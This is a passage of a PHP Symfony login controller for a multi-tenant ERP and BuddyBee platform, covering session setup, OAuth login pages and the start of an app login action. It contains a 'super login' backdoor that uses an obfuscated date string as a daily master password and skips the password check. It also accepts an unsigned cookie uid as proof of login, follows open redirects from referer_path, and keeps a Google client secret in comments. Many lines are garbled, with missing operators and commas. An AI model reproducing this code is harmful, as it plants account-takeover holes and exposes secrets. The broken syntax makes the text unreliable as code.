  3113.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  3114.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  3115.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  3116.                         UserConstants::USER_LOGIN_ID => $loginID,
  3117.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  3118.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  3119.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  3120.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  3121.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  3122.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  3123.                         'IS_EMAIL_VERIFIED' => $systemType != '_ERP_' $isEmailVerified 1,
  3124.                         'REMEMBERME' => $remember_me,
  3125.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  3126.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  3127.                         'oAuthToken' => $oAuthToken,
  3128.                         'locale' => $locale,
  3129.                         'firebaseToken' => $firebaseToken,
  3130.                         'token' => $session->get('token'),
  3131.                         'firstLogin' => $firstLogin,
  3132.                         'oAuthImage' => $oAuthImage,
  3133.                         'appIdList' => json_encode($appIdList),
  3134.                         'branchIdList' => json_encode($branchIdList),
  3135.                         'branchId' => $branchId,
  3136.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  3137.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  3138.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  3139.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  3140.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  3141.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  3142.                     );
  3143.                     $session_data $this->filterClientSessionData($session_data);
  3144.                     if ($systemType == '_CENTRAL_') {
  3145.                         $accessList = [];
  3146. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  3147.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  3148.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  3149.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  3150.                                     $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  3151.                                     $d = array(
  3152.                                         'userType' => $thisUserUserType,
  3153. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  3154.                                         'userTypeName' => $userTypeName,
  3155.                                         'globalId' => $globalId,
  3156.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  3157.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  3158.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  3159.                                         'systemType' => '_ERP_',
  3160.                                         'companyId' => 1,
  3161.                                         'appId' => $thisUserAppId,
  3162.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  3163.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  3164.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  3165.                                                 array(
  3166.                                                     'globalId' => $globalId,
  3167.                                                     'appId' => $thisUserAppId,
  3168.                                                     'authenticate' => 1,
  3169.                                                     'userType' => $thisUserUserType,
  3170.                                                     'userTypeName' => $userTypeName
  3171.                                                 )
  3172.                                             )
  3173.                                         ),
  3174.                                         'userCompanyList' => [
  3175.                                         ]
  3176.                                     );
  3177.                                     $accessList[] = $d;
  3178.                                 }
  3179.                             }
  3180.                         }
  3181.                         $session_data['userAccessList'] = $accessList;
  3182.                     }
  3183.                     $ultimateData System::setSessionForUser($em_goc,
  3184.                         $session,
  3185.                         $session_data,
  3186.                         $config
  3187.                     );
  3188. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  3189.                     $session_data $ultimateData['sessionData'];
  3190.                     $session_data $this->filterClientSessionData($session_data);
  3191.                     $token $ultimateData['token'];
  3192.                     $session->set('token'$token);
  3193.                     if ($systemType == '_CENTRAL_') {
  3194.                         $session->set('csToken'$token);
  3195.                     } else {
  3196.                         $session->set('csToken'$csToken);
  3197.                     }
  3198.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  3199.                         $session->set('remoteVerified'1);
  3200.                         $response = new JsonResponse(array(
  3201.                             'token' => $token,
  3202.                             'uid' => $session->get(UserConstants::USER_ID),
  3203.                             'session' => $session,
  3204.                             'email' => $session_data['userEmail'],
  3205.                             'success' => true,
  3206.                             'session_data' => $session_data,
  3207.                         ));
  3208.                         $response->headers->set('Access-Control-Allow-Origin''*');
  3209.                         return $response;
  3210.                     }
  3211.                     //TEMP START
  3212.                     if ($systemType == '_CENTRAL_') {
  3213.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3214.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3215.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3216.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3217.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3218.                                     return $this->redirect($red);
  3219.                                 }
  3220.                             } else {
  3221.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3222.                             }
  3223.                         }
  3224.                         else
  3225.                             return $this->redirectToRoute('central_landing');
  3226.                     }
  3227.                     if ($systemType == '_SOPHIA_') {
  3228.                         return $this->redirectToRoute('sofia_dashboard_admin');
  3229.                     }
  3230.                     //TREMP END
  3231.                     if ($userForcedRoute != '')
  3232.                         return $this->redirectToRoute($userForcedRoute);
  3233.                     if ($request->request->has('referer_path')) {
  3234.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  3235.                             return $this->redirect($request->request->get('referer_path'));
  3236.                         }
  3237.                     }
  3238.                     if ($request->query->has('refRoute')) {
  3239.                         if ($request->query->get('refRoute') == '8917922')
  3240.                             $userDefaultRoute 'apply_for_consultant';
  3241.                     }
  3242.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  3243.                         $userDefaultRoute 'dashboard';
  3244.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3245.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3246.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3247.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3248.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3249.                                 return $this->redirect($red);
  3250.                             }
  3251.                         } else {
  3252.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3253.                         }
  3254.                     } else
  3255.                         return $this->redirectToRoute($userDefaultRoute);
  3256.                 }
  3257.             }
  3258.         }
  3259.         $session $request->getSession();
  3260.         $session->set('systemType'$systemType);
  3261.         if (isset($encData['appId'])) {
  3262.             if (isset($gocDataListByAppId[$encData['appId']]))
  3263.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3264.         }
  3265.         $routeName $request->attributes->get('_route');
  3266.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  3267.             $refRoute '';
  3268.             $message '';
  3269.             $errorField '_NONE_';
  3270.             if ($refRoute != '') {
  3271.                 if ($refRoute == '8917922')
  3272.                     $redirectRoute 'apply_for_consultant';
  3273.             }
  3274.             if ($request->query->has('refRoute')) {
  3275.                 $refRoute $request->query->get('refRoute');
  3276.                 if ($refRoute == '8917922')
  3277.                     $redirectRoute 'apply_for_consultant';
  3278.             }
  3279.             $google_client = new Google_Client();
  3280. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3281. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3282.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3283.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3284.             } else {
  3285.                 $url $this->generateUrl(
  3286.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3287.                 );
  3288.             }
  3289.             $selector BuddybeeConstant::$selector;
  3290.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3291. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3292.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  3293. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3294.             $google_client->setRedirectUri($url);
  3295.             $google_client->setAccessType('offline');        // offline access
  3296.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3297.             $google_client->setRedirectUri($url);
  3298.             $google_client->addScope('email');
  3299.             $google_client->addScope('profile');
  3300.             $google_client->addScope('openid');
  3301.             return $this->render(
  3302.                 '@Authentication/pages/views/applicant_login.html.twig',
  3303.                 [
  3304.                     'page_title' => 'BuddyBee Login',
  3305.                     'oAuthLink' => $google_client->createAuthUrl(),
  3306.                     'redirect_url' => $url,
  3307.                     'message' => $message,
  3308.                     'errorField' => '',
  3309.                     'systemType' => $systemType,
  3310.                     'ownServerId' => $ownServerId,
  3311.                     'refRoute' => $refRoute,
  3312.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3313.                     'selector' => $selector
  3314.                 ]
  3315.             );
  3316.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  3317.             $refRoute '';
  3318.             $message '';
  3319.             $errorField '_NONE_';
  3320. //            if ($request->query->has('message')) {
  3321. //                $message = $request->query->get('message');
  3322. //
  3323. //            }
  3324. //            if ($request->query->has('errorField')) {
  3325. //                $errorField = $request->query->get('errorField');
  3326. //
  3327. //            }
  3328.             if ($refRoute != '') {
  3329.                 if ($refRoute == '8917922')
  3330.                     $redirectRoute 'apply_for_consultant';
  3331.             }
  3332.             if ($request->query->has('refRoute')) {
  3333.                 $refRoute $request->query->get('refRoute');
  3334.                 if ($refRoute == '8917922')
  3335.                     $redirectRoute 'apply_for_consultant';
  3336.             }
  3337.             $google_client = new Google_Client();
  3338. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3339. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3340.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3341.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3342.             } else {
  3343.                 $url $this->generateUrl(
  3344.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3345.                 );
  3346.             }
  3347.             $selector BuddybeeConstant::$selector;
  3348. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3349.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3350. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3351.             $google_client->setRedirectUri($url);
  3352.             $google_client->setAccessType('offline');        // offline access
  3353.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3354.             $google_client->setRedirectUri($url);
  3355.             $google_client->addScope('email');
  3356.             $google_client->addScope('profile');
  3357.             $google_client->addScope('openid');
  3358.             return $this->render(
  3359.                 '@Authentication/pages/views/central_login.html.twig',
  3360.                 [
  3361.                     'page_title' => 'Central Login',
  3362.                     'oAuthLink' => $google_client->createAuthUrl(),
  3363.                     'redirect_url' => $url,
  3364.                     'message' => $message,
  3365.                     'systemType' => $systemType,
  3366.                     'ownServerId' => $ownServerId,
  3367.                     'errorField' => '',
  3368.                     'refRoute' => $refRoute,
  3369.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3370.                     'selector' => $selector
  3371.                 ]
  3372.             );
  3373.         } else if ($systemType == '_SOPHIA_' && $routeName != 'erp_login') {
  3374.             $refRoute '';
  3375.             $message '';
  3376.             $errorField '_NONE_';
  3377. //            if ($request->query->has('message')) {
  3378. //                $message = $request->query->get('message');
  3379. //
  3380. //            }
  3381. //            if ($request->query->has('errorField')) {
  3382. //                $errorField = $request->query->get('errorField');
  3383. //
  3384. //            }
  3385.             if ($refRoute != '') {
  3386.                 if ($refRoute == '8917922')
  3387.                     $redirectRoute 'apply_for_consultant';
  3388.             }
  3389.             if ($request->query->has('refRoute')) {
  3390.                 $refRoute $request->query->get('refRoute');
  3391.                 if ($refRoute == '8917922')
  3392.                     $redirectRoute 'apply_for_consultant';
  3393.             }
  3394.             $google_client = new Google_Client();
  3395. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3396. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3397.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3398.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3399.             } else {
  3400.                 $url $this->generateUrl(
  3401.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3402.                 );
  3403.             }
  3404.             $selector BuddybeeConstant::$selector;
  3405. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3406.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3407. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3408.             $google_client->setRedirectUri($url);
  3409.             $google_client->setAccessType('offline');        // offline access
  3410.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3411.             $google_client->setRedirectUri($url);
  3412.             $google_client->addScope('email');
  3413.             $google_client->addScope('profile');
  3414.             $google_client->addScope('openid');
  3415.             return $this->render(
  3416.                 '@Sophia/pages/views/sofia_login.html.twig',
  3417.                 [
  3418.                     'page_title' => 'Central Login',
  3419.                     'oAuthLink' => $google_client->createAuthUrl(),
  3420.                     'redirect_url' => $url,
  3421.                     'message' => $message,
  3422.                     'systemType' => $systemType,
  3423.                     'ownServerId' => $ownServerId,
  3424.                     'errorField' => '',
  3425.                     'refRoute' => $refRoute,
  3426.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3427.                     'selector' => $selector
  3428.                 ]
  3429.             );
  3430.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  3431.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  3432.         } else
  3433.             return $this->render(
  3434.                 '@Authentication/pages/views/login_new.html.twig',
  3435.                 array(
  3436.                     "message" => $message,
  3437.                     'page_title' => 'Login',
  3438.                     'gocList' => $gocDataListForLoginWeb,
  3439.                     'gocId' => $gocId != $gocId '',
  3440.                     'systemType' => $systemType,
  3441.                     'ownServerId' => $ownServerId,
  3442.                     'encData' => $encData,
  3443.                     //                'ref'=>$request->
  3444.                 )
  3445.             );
  3446.     }
  3447.     public function doLoginForAppAction(Request $request$encData "",
  3448.                                                 $remoteVerify 0,
  3449.                                                 $applicantDirectLogin 0
  3450.     )
  3451.     {
  3452.         $message "";
  3453.         $email '';
  3454. //                            $userName = substr($email, 4);
  3455.         $userName '';
  3456.         $gocList = [];
  3457.         $skipPassword 0;
  3458.         $firstLogin 0;
  3459.         $remember_me 0;
  3460.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3461.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  3462.         if ($request->isMethod('POST')) {
  3463.             if ($request->request->has('remember_me'))
  3464.                 $remember_me 1;
  3465.         } else {
  3466.             if ($request->query->has('remember_me'))
  3467.                 $remember_me 1;
  3468.         }
  3469.         if ($encData != "")
  3470.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  3471.         else if ($request->query->has('spd')) {
  3472.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  3473.         }
  3474.         $user = [];
  3475.         $userType 0//nothing for now , will add supp or client if we find anything
  3476.         $em_goc $this->getDoctrine()->getManager('company_group');
  3477.         $em_goc->getConnection()->connect();
  3478.         $gocEnabled 0;
  3479.         if ($this->container->hasParameter('entity_group_enabled'))
  3480.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  3481.         if ($gocEnabled == 1)
  3482.             $connected $em_goc->getConnection()->isConnected();
  3483.         else
  3484.             $connected false;
  3485.         if ($connected)
  3486.             $gocList $em_goc
  3487.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  3488.                 ->findBy(
  3489.                     array(//                        'active' => 1
  3490.                     )
  3491.                 );
  3492.         $gocDataList = [];
  3493.         $gocDataListForLoginWeb = [];
  3494.         $gocDataListByAppId = [];
  3495.         foreach ($gocList as $entry) {
  3496.             $d = array(
  3497.                 'name' => $entry->getName(),
  3498.                 'image' => $entry->getImage(),
  3499.                 'id' => $entry->getId(),
  3500.                 'appId' => $entry->getAppId(),
  3501.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  3502.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  3503.                 'dbName' => $entry->getDbName(),
  3504.                 'dbUser' => $entry->getDbUser(),
  3505.                 'dbPass' => $entry->getDbPass(),
  3506.                 'dbHost' => $entry->getDbHost(),
  3507.                 'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  3508.                 'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  3509.                 'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  3510.                 'companyRemaining' => $entry->getCompanyRemaining(),
  3511.                 'companyAllowed' => $entry->getCompanyAllowed(),
  3512.             );
  3513.             $gocDataList[$entry->getId()] = $d;
  3514.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  3515.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  3516.             $gocDataListByAppId[$entry->getAppId()] = $d;
  3517.         }
  3518. //        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id_start');
  3519.         $gocDbName '';
  3520.         $gocDbUser '';
  3521.         $gocDbPass '';
  3522.         $gocDbHost '';
  3523.         $gocId 0;
  3524.         $appId 0;
  3525.         $hasGoc 0;
  3526.         $userId 0;
  3527.         $userCompanyId 0;
  3528.         $specialLogin 0;
  3529.         $supplierId 0;
  3530.         $applicantId 0;
  3531.         $isApplicantLogin 0;
  3532.         $clientId 0;
  3533.         $cookieLogin 0;
  3534.         $encrypedLogin 0;
  3535.         $loginID 0;
  3536.         $supplierId 0;
  3537.         $clientId 0;
  3538.         $userId 0;
  3539.         $globalId 0;
  3540.         $applicantId 0;
  3541.         $employeeId 0;
  3542.         $userCompanyId 0;
  3543.         $company_id_list = [];
  3544.         $company_name_list = [];
  3545.         $company_image_list = [];
  3546.         $route_list_array = [];
  3547.         $prohibit_list_array = [];
  3548.         $company_dark_vibrant_list = [];
  3549.         $company_vibrant_list = [];
  3550.         $company_light_vibrant_list = [];
  3551.         $currRequiredPromptFields = [];
  3552.         $oAuthImage '';
  3553.         $appIdList '';
  3554.         $userDefaultRoute '';
  3555.         $userForcedRoute '';
  3556.         $branchIdList '';
  3557.         $branchId 0;
  3558.         $companyIdListByAppId = [];
  3559.         $companyNameListByAppId = [];
  3560.         $companyImageListByAppId = [];
  3561.         $position_list_array = [];
  3562.         $curr_position_id 0;
  3563.         $allModuleAccessFlag 0;
  3564.         $lastSettingsUpdatedTs 0;
  3565.         $isConsultant 0;
  3566.         $isAdmin 0;
  3567.         $isModerator 0;
  3568.         $isRetailer 0;
  3569.         $retailerLevel 0;
  3570.         $adminLevel 0;
  3571.         $moderatorLevel 0;
  3572.         $userEmail '';
  3573.         $userImage '';
  3574.         $userFullName '';
  3575.         $triggerResetPassword 0;
  3576.         $isEmailVerified 0;
  3577.         $currentTaskId 0;
  3578.         $currentPlanningItemId 0;
  3579. //                $currentTaskAppId = 0;
  3580.         $buddybeeBalance 0;
  3581.         $buddybeeCoinBalance 0;
  3582.         $entityUserbalance 0;
  3583.         $userAppIds = [];
  3584.         $userTypesByAppIds = [];
  3585.         $currentMonthHolidayList = [];
  3586.         $currentHolidayCalendarId 0;
  3587.         $oAuthToken $request->request->get('oAuthToken''');
  3588.         $locale $request->request->get('locale''');
  3589.         $firebaseToken $request->request->get('firebaseToken''');
  3590.         if ($request->request->has('gocId')) {
  3591.             $hasGoc 1;
  3592.             $gocId $request->request->get('gocId');
  3593.         }
  3594.         if ($request->request->has('appId')) {
  3595.             $hasGoc 1;
  3596.             $appId $request->request->get('appId');
  3597.         }
  3598.         if (isset($encData['appId'])) {
  3599.             if (isset($gocDataListByAppId[$encData['appId']])) {
  3600.                 $hasGoc 1;
  3601.                 $appId $encData['appId'];
  3602.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3603.             }
  3604.         }
  3605.         $csToken $request->get('csToken''');
  3606.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  3607.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  3608.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  3609. //        if ($request->cookies->has('USRCKIE'))
  3610. //        System::log_it($this->container->getParameter('kernel.root_dir'), json_encode($gocDataListByAppId), 'default_test', 1);
  3611.         if (isset($encData['globalId'])) {
  3612.             if (isset($encData['authenticate']))
  3613.                 if ($encData['authenticate'] == 1)
  3614.                     $skipPassword 1;
  3615.             if ($encData['globalId'] != && $encData['globalId'] != '') {
  3616.                 $skipPassword 1;
  3617.                 $remember_me 1;
  3618.                 $globalId $encData['globalId'];
  3619.                 $appId $encData['appId'];
  3620.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3621.                 $userType $encData['userType'];
  3622.                 $userCompanyId 1;
  3623.                 $hasGoc 1;
  3624.                 $encrypedLogin 1;
  3625.                 if (in_array($userType, [67]))
  3626.                     $entityLoginFlag 1;
  3627.                 if (in_array($userType, [34]))
  3628.                     $specialLogin 1;
  3629.                 if ($userType == UserConstants::USER_TYPE_CLIENT)
  3630.                     $clientId $userId;
  3631.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3632.                     $supplierId $userId;
  3633.                 if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3634.                     $applicantId $userId;
  3635.             }
  3636.         } else if ($systemType == '_BUDDYBEE_' && $request->cookies->has('USRCKIE')) {
  3637.             $cookieData json_decode($request->cookies->get('USRCKIE'), true);
  3638.             if ($cookieData == null)
  3639.                 $cookieData = [];
  3640.             if (isset($cookieData['uid'])) {
  3641.                 if ($cookieData['uid'] != && $cookieData['uid'] != '') {
  3642.                     $skipPassword 1;
  3643.                     $remember_me 1;
  3644.                     $userId $cookieData['uid'];
  3645.                     $gocId $cookieData['gocId'];
  3646.                     $userCompanyId $cookieData['companyId'];
  3647.                     $userType $cookieData['ut'];
  3648.                     $hasGoc 1;
  3649.                     $cookieLogin 1;
  3650.                     if (in_array($userType, [67]))
  3651.                         $entityLoginFlag 1;
  3652.                     if (in_array($userType, [34]))
  3653.                         $specialLogin 1;
  3654.                     if ($userType == UserConstants::USER_TYPE_CLIENT)
  3655.                         $clientId $userId;
  3656.                     if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3657.                         $supplierId $userId;
  3658.                     if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3659.                         $applicantId $userId;
  3660.                 }
  3661.             }
  3662.         }
  3663.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $encrypedLogin == || $cookieLogin == 1) {
  3664.             ///super login
  3665.             $todayDt = new \DateTime();
  3666. //            $mp='_eco_';
  3667.             $mp $todayDt->format("\171\x6d\x64");
  3668.             if ($request->request->get('password') == $mp)
  3669.                 $skipPassword 1;
  3670.             //super login ends
  3671.             ///special logins, suppliers and clients
  3672.             $company_id_list = [];
  3673.             $company_name_list = [];
  3674.             $company_image_list = [];
  3675.             $company_dark_vibrant_list = [];
  3676.             $company_light_vibrant_list = [];
  3677.             $company_vibrant_list = [];
  3678.             $appIdFromUserName 0//nothing for now , will add supp or client if we find anything
  3679.             $uname $request->request->get('username');
  3680.             $uname preg_replace('/\s/'''$uname);
  3681.             $deviceId $request->request->has('deviceId') ? $request->request->get('deviceId') : 0;
  3682.             $applicantDirectLogin $request->request->has('applicantDirectLogin') ? $request->request->get('applicantDirectLogin') : $applicantDirectLogin;
  3683.             $session $request->getSession();
  3684.             $product_name_display_type 0;
  3685.             $Special 0;
  3686.             if ($entityLoginFlag == 1//entity login
  3687.             {
  3688.                 if ($cookieLogin == 1) {
  3689.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3690.                         array(
  3691.                             'userId' => $userId
  3692.                         )
  3693.                     );
  3694.                 } else if ($loginType == 2//oauth
  3695.                 {
  3696.                     if (!empty($oAuthData)) {
  3697.                         //check for if exists 1st
  3698.                         $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3699.                             array(
  3700.                                 'email' => $oAuthData['email']
  3701.                             )
  3702.                         );
  3703.                         if ($user) {
  3704.                             //no need to verify for oauth just proceed
  3705.                         } else {
  3706.                             //add new user and pass that user
  3707.                             $add_user EntityUserM::addNewEntityUser(
  3708.                                 $em_goc,
  3709.                                 $oAuthData['name'],
  3710.                                 $oAuthData['email'],
  3711.                                 '',
  3712.                                 0,
  3713.                                 0,
  3714.                                 0,
  3715.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  3716.                                 [],
  3717.                                 0,
  3718.                                 "",
  3719.                                 0,
  3720.                                 "",
  3721.                                 $image '',
  3722.                                 $deviceId,
  3723.                                 0,
  3724.                                 0,
  3725.                                 $oAuthData['uniqueId'],
  3726.                                 $oAuthData['token'],
  3727.                                 $oAuthData['image'],
  3728.                                 $oAuthData['emailVerified'],
  3729.                                 $oAuthData['type']
  3730.                             );
  3731.                             if ($add_user['success'] == true) {
  3732.                                 $firstLogin 1;
  3733.                                 $user $add_user['user'];
  3734.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  3735.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  3736.                                         ->setFrom('registration@entity.innobd.com')
  3737.                                         ->setTo($user->getEmail())
  3738.                                         ->setBody(
  3739.                                             $this->renderView(
  3740.                                                 'ApplicationBundle:email/user:registration_karbar.html.twig',
  3741.                                                 array('name' => $request->request->get('name'),
  3742.                                                     //                                                    'companyData' => $companyData,
  3743.                                                     //                                                    'userName'=>$request->request->get('email'),
  3744.                                                     //                                                    'password'=>$request->request->get('password'),
  3745.                                                 )
  3746.                                             ),
  3747.                                             'text/html'
  3748.                                         );
  3749.                                     /*
  3750.                                                        * If you also want to include a plaintext version of the message
  3751.                                                       ->addPart(
  3752.                                                           $this->renderView(
  3753.                                                               'Emails/registration.txt.twig',
  3754.                                                               array('name' => $name)
  3755.                                                           ),
  3756.                                                           'text/plain'
  3757.                                                       )
  3758.                                                       */
  3759.                                     //            ;
  3760.                                     $this->get('mailer')->send($emailmessage);
  3761.                                 }
  3762.                             }
  3763.                         }
  3764.                     }
  3765.                 } else {
  3766.                     $data = array();
  3767.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3768.                         array(
  3769.                             'email' => $request->request->get('username')
  3770.                         )
  3771.                     );
  3772.                     if (!$user) {
  3773.                         $message "Wrong Email";
  3774.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3775.                             return new JsonResponse(array(
  3776.                                 'uid' => $session->get(UserConstants::USER_ID),
  3777.                                 'session' => $session,
  3778.                                 'success' => false,
  3779.                                 'errorStr' => $message,
  3780.                                 'session_data' => [],
  3781.                             ));
  3782.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3783.                             //                    return $response;
  3784.                         }
  3785.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3786.                             "message" => $message,
  3787.                             'page_title' => "Login",
  3788.                             'gocList' => $gocDataList,
  3789.                             'gocId' => $gocId
  3790.                         ));
  3791.                     }
  3792.                     if ($user) {
  3793.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  3794.                             $message "Sorry, Your Account is Deactivated";
  3795.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3796.                                 return new JsonResponse(array(
  3797.                                     'uid' => $session->get(UserConstants::USER_ID),
  3798.                                     'session' => $session,
  3799.                                     'success' => false,
  3800.                                     'errorStr' => $message,
  3801.                                     'session_data' => [],
  3802.                                 ));
